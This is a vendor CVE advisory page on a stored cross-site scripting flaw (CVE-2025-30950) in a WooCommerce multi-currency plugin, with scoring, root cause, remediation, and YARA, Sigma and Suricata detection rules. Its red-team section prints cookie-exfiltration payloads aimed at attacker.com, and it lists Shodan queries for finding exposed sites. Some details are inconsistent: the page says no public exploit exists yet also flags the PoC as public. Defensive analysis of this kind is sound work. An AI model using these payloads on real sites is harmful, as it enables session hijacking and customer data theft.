☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wp wham logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-30950

CVE-2025-30950 Cross-Site Scripting in Wp wham
📅 PUBLISHED: 2025-06-06 13:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30950 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin All Currencies for WooCommerce by WP Wham, affecting versions up to and including 2.4.3. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which will execute whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the plugin’s role in WooCommerce stores, successful exploitation could lead to session hijacking, defacement, or theft of sensitive customer data. No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of WooCommerce.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor or higher)
  • User Interaction: Required (victim must visit the page)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a WooCommerce environment can lead to significant business impact, including customer data theft and reputational damage.

Deep Dive & Mechanics

The vulnerability exists in the All Currencies for WooCommerce plugin, which adds multi-currency support to WooCommerce stores. The plugin fails to properly sanitize and escape user input before storing it in the WordPress database and later rendering it on the frontend. Specifically, input fields related to currency labels, symbols, or custom messages are not neutralized, allowing an attacker to inject malicious JavaScript.

Attack Flow:

  1. An authenticated user with contributor-level access or higher navigates to the plugin settings or a custom field (e.g., currency name, symbol, or description).
  2. The attacker inputs a payload such as <script>alert('XSS')</script> into an unsanitized field.
  3. The plugin stores the payload in the WordPress database without proper escaping.
  4. When any user (including administrators or customers) views a page that renders this field (e.g., product page, cart, or checkout), the script executes in their browser.

Root Cause: The plugin uses functions like echo $currency_name or the_field() without applying WordPress’s built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.4.3):

// In a template file or shortcode handler
echo $currency_name; // Direct output without escaping

Patched Code (hypothetical fix):

// Properly escape output
echo esc_html( $currency_name );

The patched version would also sanitize input on save using sanitize_text_field() or wp_kses_post().

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress installation with WooCommerce and All Currencies for WooCommerce plugin (version <= 2.4.3).
  • An account with at least Contributor role.

Steps:

  1. Log in to WordPress as a Contributor.
  2. Navigate to the plugin settings (e.g., WooCommerce > Settings > All Currencies).
  3. Locate a text field (e.g., "Currency Name" or "Custom Symbol").
  4. Inject the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save the settings.
  6. When an administrator or customer visits a page displaying that currency (e.g., product page), the script executes, exfiltrating cookies.

Alternative Payload (for session hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Response)

Detection:

  • Monitor for unusual POST requests to /wp-admin/admin-ajax.php or plugin settings pages containing script tags.
  • Look for outbound connections to unknown domains from the WordPress server.
  • Review database entries in wp_options or custom plugin tables for script content.

Response:

  1. Immediately disable the plugin if no patch is available.
  2. Remove malicious entries from the database using a tool like phpMyAdmin or WP-CLI.
  3. Reset all user sessions and force password changes.
  4. Scan for additional compromises using a security plugin (e.g., Wordfence).

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (None available; plugin files may be modified)
  • Suspicious Database Entries: Rows in wp_options or plugin-specific tables containing <script> tags.
  • Network Traffic: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Log Entries: Unusual POST requests to /wp-admin/admin.php?page=wc-settings&tab=all_currencies with script content.

Detection Engineering

YARA Rule

rule CVE_2025_30950_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in All Currencies for WooCommerce plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30950"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $onerror = /onerror\s*=\s*["']?[^"']*["']?/is
        $onload = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in All Currencies for WooCommerce
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin.php*'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30950 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"<script"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Use a Web Application Firewall (WAF) to block common XSS payloads.
  3. Restrict user roles – only grant Administrator access to trusted users.

Long-term Fix:

  • Apply the official patch from WP Wham once available.
  • If no patch is forthcoming, consider replacing the plugin with an alternative multi-currency solution (e.g., WooCommerce Multi-Currency by TIV.NET).

Code-Level Mitigation (if you maintain the plugin):

  • Sanitize all input using sanitize_text_field() or wp_kses_post().
  • Escape all output using esc_html(), esc_attr(), or esc_url().
  • Use WordPress’s wp_nonce_field() to prevent CSRF.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

wp-content/plugins/woocommerce-all-currencies/
All Currencies for WooCommerce

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30950/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.